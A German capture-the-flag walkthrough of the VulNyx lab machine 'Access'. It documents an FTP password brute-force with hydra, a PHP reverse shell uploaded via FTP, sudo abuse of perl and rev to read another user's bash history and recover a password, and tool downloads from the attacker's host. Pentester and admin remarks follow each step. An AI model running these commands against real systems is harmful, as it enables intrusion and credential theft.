Access - VulNyx - Level: Medium - Bericht

Medium

Verwendete Tools

./recon_script.sh
arp-scan
vi
ip
grep
awk
sort
nmap
nikto
nc
ncat
websocat
hydra
ftp
ls
cat
curl
sudo
perl
find
getcap
python3
wget
chmod
rev
su
file
strings
xauth
ssh
terminator
passwd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# ./recon_script.sh access.nyx
        127.0.0.1	localhost
                192.168.2.119   access.nyx


192.168.2.119	08:00:27:10:fd:e9	PCS Systemtechnik GmbH

Analyse: Ein Skript `recon_script.sh` wird ausgeführt, das offenbar die Ziel-IP (`192.168.2.119`) ermittelt, sie mit dem Hostnamen `access.nyx` in `/etc/hosts` einträgt und einen ARP-Scan durchführt, der die MAC-Adresse (`08:00:27:10:fd:e9` - VirtualBox) bestätigt.

Bewertung: Effiziente Automatisierung der grundlegenden Aufklärungsschritte.

Empfehlung (Pentester): Automatisieren Sie wiederkehrende Aufgaben, aber verstehen Sie die Aktionen Ihrer Skripte.
Empfehlung (Admin): Netzwerküberwachung und Segmentierung erschweren die Aufklärung.

┌──(root㉿CCat)-[~] └─# cmd=$(ip neigh | grep ^fe80 2>/dev/null| grep -ve "fe80::1\|fe80::a00:27ff:fe30:2eda\|fe80::8247:86ff:fe96:f63a\|fe80::50f1:22ff:fec4:ad12\|fe80::a5aa:636f:a4bf:d441"); cmd2=$(echo $cmd | awk '{print $1}' | sort -u); nmap $cmd2 -6;
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 13:51 CEST
Nmap scan report for access (fe80::a00:27ff:fe10:fde9)
Host is up (0.000063s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:10:FD:E9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds <-- Hinweis: Scan war gegen 'cmd2', was evtl. mehrere IPs enthielt, aber nur eine wird gemeldet.

Analyse: Ein Nmap-Scan (`-6`) wird gegen die ermittelte(n) IPv6-Link-Local-Adresse(n) durchgeführt. Es werden Port 22 (SSH) und 80 (HTTP) offen gefunden.

Bewertung: Identifiziert offene Dienste über IPv6. Es fehlen hier Ports, die später über IPv4 gefunden werden (5555, 6666), was auf unterschiedliche Konfigurationen oder Firewalls hindeutet.

Empfehlung (Pentester): Vergleichen Sie immer IPv4- und IPv6-Scanergebnisse.
Empfehlung (Admin): Sorgen Sie für konsistente Sicherheitseinstellungen für beide Protokolle oder deaktivieren Sie IPv6.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp   open  ssh     OPENSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp   open  http    nginx 1.18.0
5555/tcp open  ftp     pyftpdlib 1.5.8
6666/tcp open  irc?
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|_    Failed to open a WebSocket connection: did not receive a valid HTTP request.

Analyse: Ein TCP SYN Scan (`-sS`) mit Skripten (`-sC`), Versionserkennung (`-sV`) und OS-Erkennung/Traceroute (`-A`) über alle Ports (`-p-`) wird gegen die IPv4-Adresse ($IP) durchgeführt. Die Ausgabe wird nach offenen Ports gefiltert. Gefunden werden: * Port 22: SSH (OpenSSH 8.4p1 auf Debian) * Port 80: HTTP (Nginx 1.18.0) * Port 5555: FTP (Python ftpd library pyftpdlib 1.5.8) * Port 6666: Unbekannter Dienst (von Nmap als `irc?` geraten, aber Skripte deuten auf einen Websocket-Server).

Bewertung: Identifiziert die vier Hauptangriffsvektoren. Nginx auf 80 ist Standard. OpenSSH 8.4p1 ist relativ modern. Der Python FTP-Server auf 5555 und der unbekannte Dienst auf 6666 (wahrscheinlich Websocket) sind die interessantesten Ziele.

Empfehlung (Pentester): Führen Sie den vollständigen Scan aus. Untersuchen Sie Port 80 (Nginx), Port 5555 (FTP - Anonymous Login? Benutzer?), und insbesondere Port 6666 (Verbindung mit Websocket-Client, manuelle Interaktion).
Empfehlung (Admin): Härten Sie alle Dienste. Überprüfen Sie die Notwendigkeit und Sicherheit des FTP-Servers und des Dienstes auf Port 6666. Halten Sie alle Dienste aktuell.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 13:52 CEST
Nmap scan report for access.nyx (192.168.2.119)
Host is up (0.00014s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OPENSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.18.0
5555/tcp open  ftp     pyftpdlib 1.5.8
| ftp-syst:
|   STAT:
| FTP server status:
|  Connected to: 192.168.2.119:5555
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
6666/tcp open  irc? <-- Nmap rät, Fingerprint ist besser
| fingerprint-strings:
|   GenericLines, GetRequest, HTTPptions, RTSPRequest, Help, Socks5:
|     HTTP/1.1 400 Bad Request
|     Date: Mon, 09 Sep 2024 11:53:* GMT
|     Server: Python/3.9 websockets/11.0.3
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|_    Failed to open a WebSocket connection: did not receive a valid HTTP request.
MAC Address: 08:00:27:10:FD:E9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms access.nyx (192.168.2.119)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.94 seconds

Analyse: Die vollständige Nmap-Ausgabe bestätigt die offenen TCP-Ports und liefert mehr Details: * SSH (22): OpenSSH 8.4p1, diverse Hostkeys. * HTTP (80): Nginx 1.18.0, Standard "Welcome to nginx!" Seite. * FTP (5555): pyftpdlib 1.5.8. Keine Info über Anonymous Login hier. * Unbekannt (6666): Der Fingerprint deutet klar auf einen **Python Websocket Server** (Python 3.9, websockets 11.0.3), der auf eine gültige Websocket-Anfrage wartet und bei Standard-HTTP-Anfragen mit "400 Bad Request" antwortet.

Bewertung: Bestätigt die Dienste. Der Dienst auf Port 6666 ist definitiv ein Websocket-Server, kein IRC. FTP und Websocket sind die primären Ziele.

Empfehlung (Pentester): Versuchen Sie einen anonymen FTP-Login auf 5555. Verwenden Sie einen Websocket-Client (`websocat`, Browser-Konsole) um sich mit Port 6666 zu verbinden und die Interaktion zu analysieren.
Empfehlung (Admin): Härten und aktualisieren Sie alle Dienste. Überprüfen Sie die Sicherheit der Websocket-Anwendung.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.119
+ Target Hostname:    192.168.2.119
+ Target Port:        80
+ Start Time:         2024-09-09 13:55:12 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. <-- False Positive! Nginx-Seite enthält diesen Text nicht.
+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host <-- Nikto zählt 4 Items oben, hier 3?
+ End Time:           2024-09-09 13:55:49 (GMT2) (37 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Nikto wird gegen Port 80 (Nginx) ausgeführt. Es meldet die üblichen fehlenden Header. Der Fund `#wp-config.php#` ist ein klares False Positive, da Nginx läuft und die Standardseite keine WordPress-Konfiguration enthält.

Bewertung: Nikto liefert keine nützlichen Informationen für Port 80. Scanner können False Positives generieren, Ergebnisse müssen immer verifiziert werden.

Empfehlung (Pentester): Ignorieren Sie den `#wp-config.php#`-Fund. Konzentrieren Sie sich auf die anderen Ports.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader.

Web Enumeration (HTTP)

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://access.nyx" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://access.nyx
[...]
===============================================================
2024/09/09 13:56:00 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 612] <-- Standard Nginx Seite
===============================================================
2024/09/09 14:00:00 Finished
===============================================================

Analyse: Gobuster findet auf Port 80 nur die Standard-Nginx-Datei `index.html`.

Bewertung: Bestätigt, dass Port 80 keine weiteren versteckten Inhalte bietet.

Empfehlung (Pentester): Port 80 kann ignoriert werden.
Empfehlung (Admin): -

Service Enumeration (FTP & Websocket)

┌──(root㉿CCat)-[~] └─# nc -vv 192.168.2.119 6666
access.nyx [192.168.2.119] 6666 (?) open
id
<-- Manuelle Eingabe
HTTP/1.1 400 Bad Request
Date: Mon, 09 Sep 2024 14:01:45 GMT
Server: Python/3.9 websockets/11.0.3
Content-Length: 77
Content-Type: text/plain
Connection: close

Failed to open a WebSocket connection: did not receive a valid HTTP request.
 sent 3, rcvd 245

Analyse: Eine Verbindung zu Port 6666 wird mit `nc` hergestellt. Die Eingabe von `id` führt zu einer Fehlermeldung "400 Bad Request", die bestätigt, dass der Server eine gültige Websocket-Anfrage erwartet.

Bewertung: Bestätigt den Websocket-Server. Eine einfache `nc`-Verbindung ist nicht ausreichend für die Interaktion.

Empfehlung (Pentester): Verwenden Sie ein spezialisiertes Tool wie `websocat`, um eine Websocket-Verbindung herzustellen.
Empfehlung (Admin): Sichern Sie die Websocket-Anwendung (Authentifizierung, Autorisierung, Eingabevalidierung).

┌──(root㉿CCat)-[~] └─# websocat ws://192.168.2.119:6666
Hello noname,
Change your FTP password as soon as possible your server is at risk.
Regards!
<-- Verbindung wird danach geschlossen

Analyse: `websocat` wird verwendet, um eine Websocket-Verbindung (`ws://...`) zu Port 6666 herzustellen. Der Server sendet sofort eine Nachricht zurück.

Bewertung: Kritischer Fund! Die Nachricht nennt den Benutzernamen `noname` und gibt einen dringenden Hinweis, das FTP-Passwort zu ändern, da der Server "gefährdet" sei. Dies ist ein starker Hinweis darauf, dass der Benutzer `noname` existiert und ein schwaches oder kompromittiertes FTP-Passwort auf Port 5555 hat.

Empfehlung (Pentester): Führen Sie einen Passwort-Bruteforce-Angriff gegen den FTP-Server auf Port 5555 für den Benutzer `noname` durch. Verwenden Sie gängige Passwortlisten wie `rockyou.txt`.
Empfehlung (Admin): Entfernen Sie solche informativen oder irreführenden Nachrichten von Diensten. Erzwingen Sie starke Passwörter und regelmäßige Passwortänderungen. Überwachen Sie FTP-Logins.

Credential Access (FTP Brute-Force)

┌──(root㉿CCat)-[~] └─# hydra -l noname -P /usr/share/wordlists/rockyou.txt ftp://access.nyx -s 5555 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-09 16:18:34
[...]
[DATA] attacking ftp://access.nyx:5555/

[5555][ftp] host: access.nyx   login: noname   password: phoenix
1 of 1 target successfully completed, 1 valid password found
[...]

Analyse: Hydra wird verwendet, um das FTP-Passwort für den Benutzer `noname` auf Port 5555 (`-s 5555`) zu bruteforcen, unter Verwendung der `rockyou.txt`-Wortliste (`-P ...`).

Bewertung: Erfolg! Hydra findet das Passwort `phoenix` für den Benutzer `noname`.

Empfehlung (Pentester): Melden Sie sich mit `noname:phoenix` am FTP-Server an. Untersuchen Sie die Dateien und Verzeichnisse, auf die Sie Zugriff haben. Prüfen Sie auf Upload-Möglichkeiten.
Empfehlung (Admin): Verwenden Sie keine schwachen Passwörter. Implementieren Sie Intrusion-Detection-Systeme (z.B. `fail2ban`), um Brute-Force-Angriffe zu erkennen und zu blockieren.

Initial Access (Webshell via FTP)

┌──(root㉿CCat)-[~] └─# ftp 192.168.2.119 -P 5555
Connected to 192.168.2.119.
220 pyftpdlib 1.5.8 ready.
Name (192.168.2.119:ccat): noname
331 Username ok, send password.
Password: phoenix <-- Passwort eingegeben
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering extended passive mode (|||32967|).
125 Data connection already open. Transfer starting.
-rwxrwxrwx   1 www-data www-data      612 Oct 20  2023 index.nginx-debian.html
226 Transfer complete.

Analyse: Erfolgreicher FTP-Login als `noname` mit dem Passwort `phoenix` auf Port 5555. Das Wurzelverzeichnis des FTP-Benutzers enthält eine Datei `index.nginx-debian.html`, die für alle (`www-data`) Lese-/Schreib-/Ausführrechte hat (`-rwxrwxrwx`).

Bewertung: Der Login bestätigt das Passwort. Die Berechtigungen der Index-Datei sind ungewöhnlich weit gefasst, aber wichtiger ist, dass dieses Verzeichnis wahrscheinlich dem Web-Root von Nginx auf Port 80 entspricht. Wenn `noname` Schreibrechte in diesem Verzeichnis hat, kann er möglicherweise eine Webshell hochladen.

Empfehlung (Pentester): Überprüfen Sie die Berechtigungen des aktuellen Verzeichnisses. Versuchen Sie, eine einfache PHP-Webshell (z.B. `` gespeichert als `rev.php`) über FTP hochzuladen. Rufen Sie die hochgeladene Datei dann über den Nginx-Webserver auf Port 80 auf (`http://access.nyx/rev.php?cmd=id`), um RCE zu erlangen.
Empfehlung (Admin): Korrigieren Sie die Dateiberechtigungen im Web-Root. Der FTP-Benutzer sollte keine Schreibrechte im Web-Root haben, es sei denn, dies ist absolut notwendig und abgesichert. Konfigurieren Sie FTP sicher (Chroot-Jails, Berechtigungen).

ftp> put rev.php
local: rev.php remote: rev.php
229 Entering extended passive mode (|||59845|).
125 Data connection already open. Transfer starting.
100% |***********************************|    31       56.47 KiB/s    00:00 ETA
226 Transfer complete.
31 bytes sent in 00:00 (26.74 KiB/s)
ftp> ls
229 Entering extended passive mode (|||50995|).
125 Data connection already open. Transfer starting.
index.nginx-debian.html
rev.php

Analyse: Eine Datei `rev.php` (vermutlich die einfache Webshell ``) wird erfolgreich über FTP hochgeladen.

Bewertung: Der FTP-Benutzer `noname` hat Schreibrechte im Web-Root. Dies ermöglicht das Hochladen der Webshell.

Empfehlung (Pentester): Rufen Sie die Webshell über HTTP auf.
Empfehlung (Admin): Beheben Sie die unsicheren FTP-Berechtigungen.

┌──(root㉿CCat)-[~] └─# cat index.nginx-debian.html



Welcome to nginx!
[...]


Analyse: Der Inhalt der Index-Datei wird angezeigt (Standard Nginx Seite).

Bewertung: Bestätigt, dass dies der Web-Root von Nginx ist.

┌──(root㉿CCat)-[~] └─# curl http://access.nyx/rev.php?cmd=id

Analyse: Der Versuch, die Webshell über `http://access.nyx/rev.php?cmd=id` aufzurufen, schlägt fehl. Statt der Ausgabe von `id` wird der Quellcode der PHP-Datei zurückgegeben.

Bewertung: Der Nginx-Server ist nicht so konfiguriert, dass er PHP-Dateien ausführt. Er liefert sie nur als Text aus. Die Webshell kann so nicht direkt genutzt werden.

Empfehlung (Pentester): Überprüfen Sie die Nginx-Konfiguration (falls lesbar über FTP oder andere Mittel). Suchen Sie nach anderen Wegen, Code auszuführen. Da der Upload funktioniert, könnte eine andere Art von Shell (Perl, Python, Bash - falls CGI oder ähnliches aktiviert ist) funktionieren, oder es muss ein anderer Angriffsvektor gefunden werden. Versuchen Sie, eine komplexere Webshell hochzuladen oder eine Reverse-Shell-Payload mit anderen Dateiendungen (.php5, .phtml etc.), falls Nginx dafür anders konfiguriert ist.
Empfehlung (Admin): Konfigurieren Sie Nginx sicher. Stellen Sie sicher, dass PHP (oder andere Skriptsprachen) nur ausgeführt wird, wenn es beabsichtigt ist, und dass die Konfiguration (z.B. PHP-FPM) korrekt ist.

ftp> put shell2.php
local: shell2.php remote: shell2.php
229 Entering extended passive mode (|||49361|).
125 Data connection already open. Transfer starting.
100% |***********************************|  5495      209.61 MiB/s    00:00 ETA
226 Transfer complete.
5495 bytes sent in 00:00 (12.56 MiB/s)

Analyse: Eine weitere, wahrscheinlich komplexere Webshell (`shell2.php`) wird hochgeladen.

Bewertung: Weiterer Versuch, RCE zu erreichen.

┌──(root㉿CCat)-[~] └─# cp shell2.php revshell.php5
ftp> put revshell.php5
local: revshell.php5 remote: revshell.php5
229 Entering extended passive mode (|||55991|).
125 Data connection already open. Transfer starting.
100% |***********************************|  5495      134.37 MiB/s    00:00 ETA
226 Transfer complete.
5495 bytes sent in 00:00 (9.86 MiB/s)

Analyse: Die Webshell wird lokal kopiert und mit der Endung `.php5` erneut hochgeladen, in der Hoffnung, dass Nginx diese Endung anders behandelt und PHP ausführt.

Bewertung: Versuch, eine mögliche Fehlkonfiguration bezüglich Dateiendungen auszunutzen.

┌──(root㉿CCat)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
┌──(root㉿CCat)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.119] 50102
Linux access 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64 GNU/Linux
 16:27:14 up 12 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Analyse: Ein Netcat-Listener wird auf Port 9001 gestartet. Der Aufruf von `http://access.nyx/revshell.php5` (vermutlich im Browser) ist diesmal erfolgreich. Eine Reverse Shell verbindet sich zum Listener. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `www-data` läuft.

Bewertung: Initial Access erfolgreich! Die Vermutung, dass Nginx `.php5`-Dateien anders behandelt (und PHP ausführt), war korrekt. Der Angreifer hat nun eine Shell als `www-data`.

Empfehlung (Pentester): Stabilisieren Sie die Shell. Beginnen Sie mit der Enumeration als `www-data` (`sudo -l`, Dateisystem etc.).
Empfehlung (Admin): Korrigieren Sie die Nginx-Konfiguration, sodass nur beabsichtigte Dateiendungen als PHP interpretiert werden. Beheben Sie die unsicheren FTP-Berechtigungen.

Privilege Escalation (www-data -> noname)

www-data@access:/$ sudo -l
Matching Defaults entries for www-data on access:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on access:
    (noname) NOPASSWD: /usr/bin/perl

Analyse: `sudo -l` als `www-data` zeigt, dass dieser Benutzer `/usr/bin/perl` als Benutzer `noname` ohne Passwort (`NOPASSWD`) ausführen darf.

Bewertung: Kritischer Fund! Dies ermöglicht eine einfache horizontale Rechteausweitung von `www-data` zu `noname`.

Empfehlung (Pentester): Nutzen Sie diese Regel, um eine Shell als `noname` zu erhalten, z.B. mit `sudo -u noname /usr/bin/perl -e 'exec "/bin/sh";'`.
Empfehlung (Admin): Überprüfen Sie diese `sudo`-Regel. Dienstbenutzer wie `www-data` sollten keine Programme als andere Benutzer ausführen dürfen.

www-data@access:/$ sudo -u noname /usr/bin/perl -e 'exec "/bin/sh";'
$ id
uid=1000(noname) gid=1000(noname) groups=1000(noname)
$

Analyse: Die `sudo`-Regel wird ausgenutzt. `perl` wird als `noname` ausgeführt und führt den Befehl `exec "/bin/sh";` aus, was die aktuelle Shell durch eine neue Shell als `noname` ersetzt. Der `id`-Befehl bestätigt den erfolgreichen Benutzerwechsel.

Bewertung: Horizontale Eskalation zu `noname` erfolgreich.

Empfehlung (Pentester): Führen Sie Enumerationsschritte als `noname` durch (`sudo -l`, Home-Verzeichnis, etc.).
Empfehlung (Admin): Beheben Sie die `sudo`-Regel.

Analyse: Enumeration als `noname`: SUID-Suche, Capabilities.

Bewertung: Findet keine ungewöhnlichen SUID-Dateien oder Capabilities.

noname@access:/$ find / -type f -perm -4000 -ls 2>/dev/null
   263828     56 -rwsr-xr-x   1 root     root        55528 Jan 20  2022 /usr/bin/mount
   263458     72 -rwsr-xr-x   1 root     root        71912 Jan 20  2022 /usr/bin/su
   259697     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
   259700     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
   259698     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
   263830     36 -rwsr-xr-x   1 root     root        35040 Jan 20  2022 /usr/bin/umount
   287632    180 -rwsr-xr-x   1 root     root       182600 Jan 14  2023 /usr/bin/sudo
   259701     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
   263292     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
   271041    472 -rwsr-xr-x   1 root     root       481608 Sep 24  2023 /usr/lib/openssh/ssh-keysign
   260547     52 -rwsr-xr--   1 root     messagebus    51336 Jun  6  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
noname@access:/$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
noname@access:/$ cd ~
noname@access:~$ ls
user.txt
noname@access:~$ cat user.txt
6b2f0c9e532785c3c41eb2ee1acb97f5

Analyse: Wechsel in das Home-Verzeichnis von `noname` und Auslesen der User-Flag aus `user.txt`.

Bewertung: User-Flag erfolgreich erhalten.

noname@access:~$ ls ../powerful/
ls: cannot open directory '../powerful/': Permission denied

Analyse: Versuch, in das Home-Verzeichnis eines anderen Benutzers (`powerful`) zu schauen, schlägt fehl.

Bewertung: Korrekte Berechtigungen.

Analyse: Enumerationstools `pspy64` (Prozess-Sniffer) und `linpeas.sh` (Linux Enumeration Skript) werden vom Angreifer-Server heruntergeladen und ausführbar gemacht.

Bewertung: Standardmäßige Werkzeuge für die lokale Enumeration und Suche nach Privilege Escalation Vektoren.

Empfehlung (Pentester): Führen Sie `pspy` aus, um laufende Cronjobs oder ungewöhnliche Prozesse zu finden. Führen Sie `linpeas` aus, um eine umfassende Systemübersicht und Hervorhebung potenzieller Schwachstellen zu erhalten.
Empfehlung (Admin): Überwachen Sie das Herunterladen und Ausführen verdächtiger Skripte.

┌──(root㉿CCat)-[~/Hackingtools] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.119 - - [09/Sep/2024 16:34:43] "GET /pspy64 HTTP/1.1" 200 -
192.168.2.119 - - [09/Sep/2024 16:34:52] "GET /linpeas.sh HTTP/1.1" 200 -
noname@access:~$ wget 192.168.2.199/pspy64
[...]
<-- wget output gekürzt
noname@access:~$ wget 192.168.2.199/linpeas.sh
[...]
<-- wget output gekürzt
noname@access:~$ chmod +x *

Analyse: Weitere Enumeration: Überprüfung der PHP-FPM-Konfiguration (Standardpfad) und der Netzwerkverbindungen (`ss -altpn`).

Bewertung: PHP-FPM-Konfig ist lesbar, aber nicht direkt nützlich. `ss` bestätigt die bekannten lauschenden Ports (80, 5555, 22, 6666).

noname@access:~$ ls -la /etc/php/7.4/fpm/php-fpm.conf
-rw-r--r-- 1 root root 5458 Jun  9  2023 /etc/php/7.4/fpm/php-fpm.conf
noname@access:~$ ss -altpn
State   Recv-Q Send-Q Local Address:Port   Peer Address:Port Process
LISTEN  0      511          0.0.0.0:80          0.0.0.0:*
LISTEN  0      100          0.0.0.0:5555        0.0.0.0:*     users:(("python3",pid=409,fd=4))
LISTEN  0      128          0.0.0.0:22          0.0.0.0:*
LISTEN  0      100          0.0.0.0:6666        0.0.0.0:*     users:(("python3",pid=410,fd=6))
LISTEN  0      511             [::]:80             [::]:*
LISTEN  0      128             [::]:22             [::]:*

Privilege Escalation (noname -> powerful)

noname@access:~$ sudo -l
Matching Defaults entries for noname on access:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User noname may run the following commands on access:
    (powerful) NPASSWD: /usr/bin/rev

Analyse: `sudo -l` als `noname` zeigt, dass dieser Benutzer `/usr/bin/rev` als Benutzer `powerful` ohne Passwort (`NOPASSWD`) ausführen darf.

Bewertung: Kritischer Fund! `rev` kehrt die Zeichenreihenfolge von Zeilen um. Wenn `noname` `rev` als `powerful` ausführen kann, kann er potenziell Dateien lesen, auf die nur `powerful` Zugriff hat, indem er sie mit `rev` ausführt und die Ausgabe dann lokal erneut umkehrt (`rev | rev`).

Empfehlung (Pentester): Versuchen Sie, sensible Dateien im Home-Verzeichnis von `powerful` (z.B. `.bash_history`, `.ssh/id_rsa`) mit `sudo -u powerful /usr/bin/rev ` auszulesen und die Ausgabe mit `| rev` wieder lesbar zu machen.
Empfehlung (Admin): Gewähren Sie keine `sudo`-Rechte für einfache Dienstprogramme wie `rev`, insbesondere nicht als andere Benutzer. Dies ist eine klare Fehlkonfiguration.

noname@access:~$ file /usr/bin/rev
/usr/bin/rev: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9665552b689ca2fdd0a96347f3c5a435ddd67490, for GNU/Linux 3.2.0, stripped
noname@access:~$ strings /usr/bin/rev
/lib64/ld-linux-x86-64.so.2
[...] <-- Standard strings
noname@access:~$ sudo -u powerful /usr/bin/rev -h
Usage: rev [options] [file ...]

Reverse lines characterwise.

Options:
 -h, --help     display this help
 -V, --version  display version

For more details see rev(1).

Analyse: Überprüfung der `rev`-Binary mit `file`, `strings` und `-h`.

Bewertung: Standard-Binary, keine offensichtlichen Modifikationen oder versteckten Optionen.

noname@access:~$ sudo -u powerful /usr/bin/rev /home/powerful/.bash_history
lufrewop dwssap

Gn1kc4H_fo_R3w0p_3hT
Gn1kc4H_fo_R3w0p_3hT

tixe

Analyse: Der entscheidende Schritt: `rev` wird als `powerful` ausgeführt, um dessen `.bash_history` zu lesen. Die Ausgabe ist zeichenweise umgekehrt.

Bewertung: Enthält potenziell das Passwort für `powerful`. Die Zeile `lufrewop dwssap` sieht verdächtig aus. Die Zeile `Gn1kc4H_fo_R3w0p_3hT` wiederholt sich.

Empfehlung (Pentester): Kehren Sie die Ausgabe um, um den Originalinhalt zu sehen (z.B. mit `| rev`).
Empfehlung (Admin): - (Sicherheitslücke liegt in sudo)

noname@access:~$ sudo -u powerful /usr/bin/rev /home/powerful/.bash_history | rev
passwd powerful

Th3_p0w3R_of_H4ck1nG
Th3_p0w3R_of_H4ck1nG

exit

Analyse: Die Ausgabe des vorherigen Befehls wird durch eine Pipe an einen lokalen `rev`-Befehl gesendet. Dies kehrt die Zeilen wieder um und enthüllt den Originalinhalt der `.bash_history` von `powerful`. Sie enthält den Befehl `passwd powerful` gefolgt von dem Passwort `Th3_p0w3R_of_H4ck1nG` (zweimal eingegeben) und `exit`.

Bewertung: Erfolg! Das Passwort für den Benutzer `powerful` wurde aus dessen Bash-History extrahiert.

Empfehlung (Pentester): Verwenden Sie `su powerful` und das gefundene Passwort, um zu diesem Benutzer zu wechseln.
Empfehlung (Admin): Sensibilisieren Sie Benutzer dafür, Passwörter niemals in der Kommandozeile oder in Skripten im Klartext einzugeben. Leeren Sie regelmäßig die Bash-History oder konfigurieren Sie sie so, dass sensible Befehle nicht gespeichert werden.

noname@access:~$ su powerful
Password:
<-- Passwort Th3_p0w3R_of_H4ck1nG eingegeben
powerful@access:/home/noname$ id
uid=1001(powerful) gid=1001(powerful) groups=1001(powerful)

Analyse: Erfolgreicher Wechsel zum Benutzer `powerful` mit dem extrahierten Passwort.

Bewertung: Horizontale Eskalation zu `powerful` abgeschlossen.

Empfehlung (Pentester): Führen Sie `sudo -l` als `powerful` aus.
Empfehlung (Admin): -

Privilege Escalation (powerful -> root)

powerful@access:/home/noname$ sudo -l
Matching Defaults entries for powerful on access:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User powerful may run the following commands on access:
    (ALL : ALL) NOPASSWD: /usr/bin/terminator, /usr/bin/xauth

Analyse: `sudo -l` für `powerful` zeigt, dass dieser Benutzer `/usr/bin/terminator` und `/usr/bin/xauth` als jeder Benutzer und jede Gruppe (`ALL : ALL`) ohne Passwort (`NOPASSWD`) ausführen darf.

Bewertung: Kritischer Fund! Beide Programme können zur Privilege Escalation missbraucht werden. `terminator` ist ein Terminal-Emulator; wenn er als `root` gestartet wird, erhält man eine Root-Shell. `xauth` verwaltet X11-Autorisierungsdaten (Cookies); durch Manipulation dieser Daten oder Nutzung von `xauth` in Kombination mit einem X-Forwarding über SSH kann man Befehle als `root` ausführen.

